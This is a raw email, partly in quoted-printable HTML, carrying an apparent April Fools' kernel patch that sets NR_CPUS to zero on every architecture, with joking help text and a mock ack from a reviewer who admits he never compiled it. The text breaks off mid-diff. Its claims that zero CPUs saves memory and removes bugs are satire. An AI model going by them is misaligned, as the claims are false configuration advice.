> +       range 0 0 if SMP && !MAXSMP
> +       default "0" if !SMP
> +       default "0" if MAXSMP
> +       default "0" if SMP && (X86_NUMAQ || X86_SUMMIT || X86_BIGSMP ||
> X86_ES7000)
> +       default "0" if SMP
>        ---help---
>          This allows you to specify the maximum number of CPUs which this
>          kernel will support.  The maximum supported value is 512 and the
>          minimum value which makes sense is 2.
>
>          This is purely to save memory - each supported CPU adds
> -         approximately eight kilobytes to the kernel image.
> +         approximately eight kilobytes to the kernel image.  But
> +         the first supported CPU brings a lot of bugs with it, so
> +         for ultimate reliability, set the number of CPUs to zero.
>
>  config SCHED_SMT
>        bool "SMT (Hyperthreading) scheduler support"
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-hexagon" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
>

--f46d040713dd2d7cb504bc8f6081
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<div>Hi,</div><div><br></div><div>I didn&#39;t actually try to compile the =
patch below; it didn&#39;t look like C code so I wasn&#39;t sure what compi=
ler to run it through. =C2=A0I guess maybe its python? =C2=A0However, I&#39=
;m very sure that the patches are completely correct, because I read them, =
and I also know that Paul is a trustworthy programmer. =C2=A0Thus, please a=
dd my ack</div>

<div><br></div>Ack&#39;ed by: Linas Vepstas &lt;<a href=3D"mailto:linasveps=
tas@gmail.com">linasvepstas@gmail.com</a>&gt;<br><br><br><div class=3D"gmai=
l_quote">On 31 March 2012 11:33, Paul E. McKenney <span dir=3D"ltr">&lt;<a =
href=3D"mailto:paulmck@linux.vnet.ibm.com">paulmck@linux.vnet.ibm.com</a>&g=
t;</span> wrote:<br>

<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex">Although there have been numerous complaints=
 about the complexity of<br>
parallel programming (especially over the past 5-10 years), the plain<br>
truth is that the incremental complexity of parallel programming over<br>
that of sequential programming is not as large as is commonly believed.<br>
Despite that you might have heard, the mind-numbing complexity of modern<br=
>
computer systems is not due so much to there being multiple CPUs, but<br>
rather to there being any CPUs at all. =C2=A0In short, for the ultimate in<=
br>
computer-system simplicity, the optimal choice is NR_CPUS=3D0.<br>
<br>
This commit therefore limits kernel builds to zero CPUs. =C2=A0This change<=
br>
has the beneficial side effect of rendering all kernel bugs harmless.<br>
Furthermore, this commit enables additional beneficial changes, for<br>
example, the removal of those parts of the kernel that are not needed<br>
when there are zero CPUs.<br>
<br>
Signed-off-by: Paul E. McKenney &lt;<a href=3D"mailto:paulmck@linux.vnet.ib=
m.com">paulmck@linux.vnet.ibm.com</a>&gt;<br>
Reviewed-by: Thomas Gleixner &lt;<a href=3D"mailto:tglx@linutronix.de">tglx=
@linutronix.de</a>&gt;<br>
---<br>
<br>
=C2=A0alpha/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 | =C2=A0 11 ++++++-----<br>
=C2=A0arm/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 | =C2=A0 =C2=A06 +++---<br>
=C2=A0blackfin/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0| =C2=A0 =C2=A03 ++-<br>
=C2=A0hexagon/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 | =C2=A0 =C2=A09 +++++----<br>
=C2=A0ia64/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A09 +++++----<br>
=C2=A0m32r/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0| =C2=A0 10 ++++++----<br>
=C2=A0mips/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0| =C2=A0 21 +++++++++++----------<br>
=C2=A0mn10300/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 | =C2=A0 =C2=A03 ++-<br>
=C2=A0parisc/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=
=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A06 +++---<br>
=C2=A0powerpc/platforms/Kconfig.cputype | =C2=A0 =C2=A08 ++++----<br>
=C2=A0s390/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0| =C2=A0 12 +++++++-----<br>
=C2=A0sh/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 =C2=A0| =C2=A0 11 ++++++-----<br>
=C2=A0sparc/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0=
 =C2=A0 =C2=A0 | =C2=A0 =C2=A08 ++++----<br>
=C2=A0tile/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0| =C2=A0 =C2=A09 +++++----<br>
=C2=A0x86/Kconfig =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =
=C2=A0 =C2=A0 =C2=A0 | =C2=A0 16 +++++++++-------<br>
=C2=A015 files changed, 78 insertions(+), 64 deletions(-)<br>
<br>
diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig<br>
index 56a4df9..1766b4a 100644<br>
--- a/arch/alpha/Kconfig<br>
+++ b/arch/alpha/Kconfig<br>
@@ -541,14 +541,15 @@ config HAVE_DEC_LOCK<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0default y<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-32)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 32<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;32&quot; if ALPHA_GENERIC || ALPHA_MAR=
VEL<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4&quot; if !ALPHA_GENERIC &amp;&amp; !=
ALPHA_MARVEL<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if ALPHA_GENERIC || ALPHA_MARV=
EL<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if !ALPHA_GENERIC &amp;&amp; !=
ALPHA_MARVEL<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0MARVEL support can handle a maximum of 3=
2 CPUs, all the others<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0with working support have a maximum of =
4 CPUs.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0with working support have a maximum of =
4 CPUs. =C2=A0But why take<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 chances? =C2=A0Just stick with zero CPUs.<br>
<br>
=C2=A0config ARCH_DISCONTIGMEM_ENABLE<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool &quot;Discontiguous Memory Support (EXPERI=
MENTAL)&quot;<br>
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig<br>
index a48aecc..1f07a3a 100644<br>
--- a/arch/arm/Kconfig<br>
+++ b/arch/arm/Kconfig<br>
@@ -1551,10 +1551,10 @@ config PAGE_OFFSET<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0default 0xC0000000<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-32)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 32<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
<br>
=C2=A0config HOTPLUG_CPU<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool &quot;Support for hot-pluggable CPUs (EXPE=
RIMENTAL)&quot;<br>
diff --git a/arch/blackfin/Kconfig b/arch/blackfin/Kconfig<br>
index abe5a9e..6a78549 100644<br>
--- a/arch/blackfin/Kconfig<br>
+++ b/arch/blackfin/Kconfig<br>
@@ -241,7 +241,8 @@ config SMP<br>
=C2=A0config NR_CPUS<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0int<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default 2 if BF561<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
+ =C2=A0 =C2=A0 =C2=A0 default 0 if BF561<br>
<br>
=C2=A0config HOTPLUG_CPU<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool &quot;Support for hot-pluggable CPUs&quot;=
<br>
diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig<br>
index 9059e39..daab009 100644<br>
--- a/arch/hexagon/Kconfig<br>
+++ b/arch/hexagon/Kconfig<br>
@@ -158,13 +158,14 @@ config SMP<br>
<br>
=C2=A0config NR_CPUS<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0int &quot;Maximum number of CPUs&quot; if SMP<b=
r>
- =C2=A0 =C2=A0 =C2=A0 range 2 6 if SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;1&quot; if !SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;6&quot; if SMP<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0 if SMP<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if !SMP<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if SMP<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0---help---<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This allows you to specify the maximum n=
umber of CPUs which this<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0kernel will support. =C2=A0The maximum s=
upported value is 6 and the<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 minimum value which makes sense is 2.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 minimum value which makes sense is 2. =C2=A0B=
ut a limit of zero is<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 so much safer!<br>
<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This is purely to save memory - each sup=
ported CPU adds<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0approximately eight kilobytes to the ker=
nel image.<br>
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig<br>
index bd72669..fea0e6d 100644<br>
--- a/arch/ia64/Kconfig<br>
+++ b/arch/ia64/Kconfig<br>
@@ -373,16 +373,17 @@ config SMP<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0If you don&#39;t know what to do here, s=
ay N.<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-4096)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 4096<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4096&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0You should set this to the number of CPU=
s in your system, but<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0keep in mind that a kernel compiled for,=
 e.g., 2 CPUs will boot but<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0only use 2 CPUs on a &gt;2 CPU system. =
=C2=A0Setting this to a value larger<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0than 64 will cause the use of a CPU mask=
 array, causing a small<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 performance hit.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 performance hit. =C2=A0And setting it larger =
than zero risks all<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 manner of software bugs, so we just play it s=
afe.<br>
<br>
=C2=A0config HOTPLUG_CPU<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool &quot;Support for hot-pluggable CPUs (EXPE=
RIMENTAL)&quot;<br>
diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig<br>
index ef80a65..68b9e88 100644<br>
--- a/arch/m32r/Kconfig<br>
+++ b/arch/m32r/Kconfig<br>
@@ -300,14 +300,16 @@ config CHIP_M32700_TS1<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0default n<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-32)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 32<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;2&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This allows you to specify the maximum n=
umber of CPUs which this<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0kernel will support. =C2=A0The maximum s=
upported value is 32 and the<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 minimum value which makes sense is 2.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 minimum value which makes sense is 2. =C2=A0Z=
ero may not make sense,<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 but given that there is much in this world th=
at does not make<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 sense, zero it is!<br>
<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This is purely to save memory - each sup=
ported CPU adds<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0approximately eight kilobytes to the ker=
nel image.<br>
diff --git a/arch/mips/Kconfig b/arch/mips/Kconfig<br>
index 5ab6e89..3d7d06c 100644<br>
--- a/arch/mips/Kconfig<br>
+++ b/arch/mips/Kconfig<br>
@@ -2192,16 +2192,16 @@ config NR_CPUS_DEFAULT_64<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-64)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 1 64 if NR_CPUS_DEFAULT_1<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0 if NR_CPUS_DEFAULT_1<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;1&quot; if NR_CPUS_DEFAULT_1<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;2&quot; if NR_CPUS_DEFAULT_2<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4&quot; if NR_CPUS_DEFAULT_4<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;8&quot; if NR_CPUS_DEFAULT_8<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;16&quot; if NR_CPUS_DEFAULT_16<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;32&quot; if NR_CPUS_DEFAULT_32<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;64&quot; if NR_CPUS_DEFAULT_64<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_1<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_2<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_4<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_8<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_16<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_32<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if NR_CPUS_DEFAULT_64<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This allows you to specify the maximum n=
umber of CPUs which this<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0kernel will support. =C2=A0The maximum s=
upported value is 32 for 32-bit<br>
@@ -2212,7 +2212,8 @@ config NR_CPUS<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This is purely to save memory - each sup=
ported CPU adds<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0approximately eight kilobytes to the ker=
nel image. =C2=A0For best<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0performance should round up your number =
of processors to the next<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 power of two.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 power of two. =C2=A0And just think how much m=
ore memory we will<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 save by setting the limit to zero!<br>
<br>
=C2=A0source &quot;kernel/time/Kconfig&quot;<br>
<br>
diff --git a/arch/mn10300/Kconfig b/arch/mn10300/Kconfig<br>
index 8f1c40d..85fc112 100644<br>
--- a/arch/mn10300/Kconfig<br>
+++ b/arch/mn10300/Kconfig<br>
@@ -201,7 +201,8 @@ config SMP<br>
=C2=A0config NR_CPUS<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0int<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;2&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
<br>
=C2=A0source &quot;kernel/Kconfig.preempt&quot;<br>
<br>
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig<br>
index 242a1b7..358eaf8 100644<br>
--- a/arch/parisc/Kconfig<br>
+++ b/arch/parisc/Kconfig<br>
@@ -254,10 +254,10 @@ config HPUX<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on !64BIT<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-32)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 32<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;32&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
<br>
=C2=A0endmenu<br>
<br>
diff --git a/arch/powerpc/platforms/Kconfig.cputype b/arch/powerpc/platform=
s/Kconfig.cputype<br>
index 425db18..5e607e0 100644<br>
--- a/arch/powerpc/platforms/Kconfig.cputype<br>
+++ b/arch/powerpc/platforms/Kconfig.cputype<br>
@@ -356,11 +356,11 @@ config SMP<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0If you don&#39;t know what to do here, s=
ay N.<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-8192)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 8192<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;32&quot; if PPC64<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if PPC64<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
<br>
=C2=A0config NOT_COHERENT_CACHE<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool<br>
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig<br>
index d172758..f9bc067 100644<br>
--- a/arch/s390/Kconfig<br>
+++ b/arch/s390/Kconfig<br>
@@ -169,15 +169,17 @@ config SMP<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0Even if you don&#39;t know what to do he=
re, say Y.<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-64)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 64<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;32&quot; if !64BIT<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;64&quot; if 64BIT<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if !64BIT<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if 64BIT<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This allows you to specify the maximum n=
umber of CPUs which this<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0kernel will support. =C2=A0The maximum s=
upported value is 64 and the<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 minimum value which makes sense is 2.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 minimum value which makes sense is 2. =C2=A0T=
he minimal value that<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 makes sense might well be 2, but we all know =
that the only<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 -sane- value is zero!<br>
<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This is purely to save memory - each sup=
ported CPU adds<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0approximately sixteen kilobytes to the k=
ernel image.<br>
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig<br>
index 713fb58..5ddc7c0 100644<br>
--- a/arch/sh/Kconfig<br>
+++ b/arch/sh/Kconfig<br>
@@ -705,18 +705,19 @@ config SMP<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0If you don&#39;t know what to do here, s=
ay N.<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (2-32)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 32<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of CPUs (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;4&quot; if CPU_SUBTYPE_SHX3<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;2&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot; if CPU_SUBTYPE_SHX3<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This allows you to specify the maximum n=
umber of CPUs which this<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0kernel will support. =C2=A0The maximum s=
upported value is 32 and the<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0minimum value which makes sense is 2.<br=
>
<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0This is purely to save memory - each sup=
ported CPU adds<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 approximately eight kilobytes to the kernel i=
mage.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 approximately eight kilobytes to the kernel i=
mage. =C2=A0Debloating<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 is the way, NR_CPUS to zero today!!!<br>
<br>
=C2=A0config HOTPLUG_CPU<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0bool &quot;Support for hot-pluggable CPUs (EXPE=
RIMENTAL)&quot;<br>
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig<br>
index ca5580e..0de9f0f 100644<br>
--- a/arch/sparc/Kconfig<br>
+++ b/arch/sparc/Kconfig<br>
@@ -177,10 +177,10 @@ config SMP<br>
=C2=A0config NR_CPUS<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0int &quot;Maximum number of CPUs&quot;<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 32 if SPARC32<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 1024 if SPARC64<br>
- =C2=A0 =C2=A0 =C2=A0 default 32 if SPARC32<br>
- =C2=A0 =C2=A0 =C2=A0 default 64 if SPARC64<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0 if SPARC32<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0 if SPARC64<br>
+ =C2=A0 =C2=A0 =C2=A0 default 0 if SPARC32<br>
+ =C2=A0 =C2=A0 =C2=A0 default 0 if SPARC64<br>
<br>
=C2=A0source kernel/Kconfig.hz<br>
<br>
diff --git a/arch/tile/Kconfig b/arch/tile/Kconfig<br>
index 11270ca..a05112c 100644<br>
--- a/arch/tile/Kconfig<br>
+++ b/arch/tile/Kconfig<br>
@@ -126,14 +126,15 @@ source &quot;init/Kconfig&quot;<br>
=C2=A0menu &quot;Tilera-specific configuration&quot;<br>
<br>
=C2=A0config NR_CPUS<br>
- =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of tiles (2-255)&quot;<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 255<br>
+ =C2=A0 =C2=A0 =C2=A0 int &quot;Maximum number of tiles (0-0)&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 range 0 0<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0depends on SMP<br>
- =C2=A0 =C2=A0 =C2=A0 default &quot;64&quot;<br>
+ =C2=A0 =C2=A0 =C2=A0 default &quot;0&quot;<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0---help---<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0Building with 64 is the recommended valu=
e, but a slightly<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0smaller kernel memory footprint results =
from using a smaller<br>
- =C2=A0 =C2=A0 =C2=A0 =C2=A0 value on chips with fewer tiles.<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 value on chips with fewer tiles. =C2=A0To min=
imize both memory<br>
+ =C2=A0 =C2=A0 =C2=A0 =C2=A0 footprint and bugs, use zero and only zero.<b=
r>
<br>
=C2=A0source &quot;kernel/time/Kconfig&quot;<br>
<br>
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig<br>
index 5bed94e..a6977f2 100644<br>
--- a/arch/x86/Kconfig<br>
+++ b/arch/x86/Kconfig<br>
@@ -773,19 +773,21 @@ config MAXSMP<br>
<br>
=C2=A0config NR_CPUS<br>
 =C2=A0 =C2=A0 =C2=A0 =C2=A0int &quot;Maximum number of CPUs&quot; if SMP &=
amp;&amp; !MAXSMP<br>
- =C2=A0 =C2=A0 =C2=A0 range 2 8 if SMP &amp;&amp; X86_32 &amp;&amp; !X86_B=
IGSMP<br>
